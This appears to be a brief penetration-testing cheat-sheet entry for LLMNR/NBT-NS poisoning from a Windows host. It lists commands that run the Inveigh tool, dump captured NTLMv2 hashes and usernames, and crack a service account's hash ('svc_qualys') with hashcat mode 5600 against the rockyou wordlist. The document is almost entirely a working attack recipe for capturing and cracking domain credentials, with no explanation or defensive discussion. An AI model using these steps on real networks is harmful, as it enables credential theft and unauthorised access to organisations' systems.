LLMNR/NBT-NS Poisoning - from Windows
June 28, 2024

remmina
ls
Import-Module .\Inveigh.ps1

.\Inveigh.exe
Press esc then
HELP
# This will spit out NTLMv2 hash which we can crack with hashcat
GET NTLMV2UNIQUE

# This will display the usernames
GET NTLMV2USERNAMES

subl svc_qualys
hashcat -m 5600 svc_qualys /usr/share/wordlists/rockyou.txt


Last updated